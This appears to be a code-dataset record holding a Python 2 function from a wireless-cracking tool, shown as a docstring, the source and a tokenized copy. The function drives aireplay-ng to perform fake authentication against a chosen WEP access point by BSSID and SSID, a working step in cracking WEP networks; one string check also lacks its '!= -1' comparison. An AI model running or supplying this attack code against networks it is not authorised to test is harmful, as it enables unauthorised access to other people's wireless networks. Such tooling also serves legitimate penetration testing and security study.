(iface, target, time_to_display)
return False
Attempt to (falsely) authenticate with a WEP access point.
        Gives 3 seconds to make each 5 authentication attempts.
        Returns True if authentication was successful, False otherwise.
Attempt to (falsely) authenticate with a WEP access point.
        Gives 3 seconds to make each 5 authentication attempts.
        Returns True if authentication was successful, False otherwise.
Attempt to ( falsely ) authenticate with a WEP access point . Gives 3 seconds to make each 5 authentication attempts . Returns True if authentication was successful False otherwise .
def wep_fake_auth(iface, target, time_to_display):
    """
        Attempt to (falsely) authenticate with a WEP access point.
        Gives 3 seconds to make each 5 authentication attempts.
        Returns True if authentication was successful, False otherwise.
    """
    max_wait = 3 # Time, in seconds, to allow each fake authentication
    max_attempts = 5 # Number of attempts to make
    
    for fa_index in xrange(1, max_attempts + 1):
        print '\r                                                            ',
        print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \
               (GR+time_to_display+W, G, W, fa_index, max_attempts),
        stdout.flush()
        
        cmd = ['aireplay-ng',
               '--ignore-negative-one',
               '-1', '0', # Fake auth, no delay
               '-a', target.bssid,
               '-T', '1'] # Make 1 attempt
        if target.ssid != '':
            cmd.append('-e')
            cmd.append(target.ssid)
        cmd.append(iface)
        
        proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN)
        started = time.time()
        while proc_fakeauth.poll() == None and time.time() - started <= max_wait: pass
        if time.time() - started > max_wait:
            send_interrupt(proc_fakeauth)
            print R+'failed'+W,
            stdout.flush()
            time.sleep(0.5)
            continue
        
        result = proc_fakeauth.communicate()[0].lower()
        if result.find('switching to shared key') != -1 or \
             result.find('rejects open system'): pass
             # TODO Shared Key Authentication (SKA)
        if result.find('association successful') != -1:
            print G+'success!'+W
            return True
        
        print R+'failed'+W,
        stdout.flush()
        time.sleep(0.5)
        continue
    print ''
    return False
def wep_fake_auth ( iface , target , time_to_display ) : max_wait = 3 # Time, in seconds, to allow each fake authentication max_attempts = 5 # Number of attempts to make for fa_index in xrange ( 1 , max_attempts + 1 ) : print '\r                                                            ' , print '\r %s attempting %sfake authentication%s (%d/%d)... ' % ( GR + time_to_display + W , G , W , fa_index , max_attempts ) , stdout . flush ( ) cmd = [ 'aireplay-ng' , '--ignore-negative-one' , '-1' , '0' , # Fake auth, no delay '-a' , target . bssid , '-T' , '1' ] # Make 1 attempt if target . ssid != '' : cmd . append ( '-e' ) cmd . append ( target . ssid ) cmd . append ( iface ) proc_fakeauth = Popen ( cmd , stdout = PIPE , stderr = DN ) started = time . time ( ) while proc_fakeauth . poll ( ) == None and time . time ( ) - started <= max_wait : pass if time . time ( ) - started > max_wait : send_interrupt ( proc_fakeauth ) print R + 'failed' + W , stdout . flush ( ) time . sleep ( 0.5 ) continue result = proc_fakeauth . communicate ( ) [ 0 ] . lower ( ) if result . find ( 'switching to shared key' ) != - 1 or result . find ( 'rejects open system' ) : pass # TODO Shared Key Authentication (SKA) if result . find ( 'association successful' ) != - 1 : print G + 'success!' + W return True print R + 'failed' + W , stdout . flush ( ) time . sleep ( 0.5 ) continue print '' return False